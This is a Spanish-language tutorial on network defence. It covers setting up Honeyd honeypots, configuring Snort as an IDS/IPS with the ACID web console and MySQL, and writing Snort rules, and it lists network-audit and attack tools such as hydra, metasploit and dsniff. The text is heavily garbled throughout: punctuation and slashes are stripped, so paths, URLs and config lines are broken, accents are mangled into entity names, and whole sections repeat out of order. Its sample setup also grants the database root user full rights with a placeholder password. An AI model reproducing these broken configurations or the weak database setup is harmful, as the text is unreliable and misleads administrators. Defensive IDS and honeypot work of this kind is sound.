Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
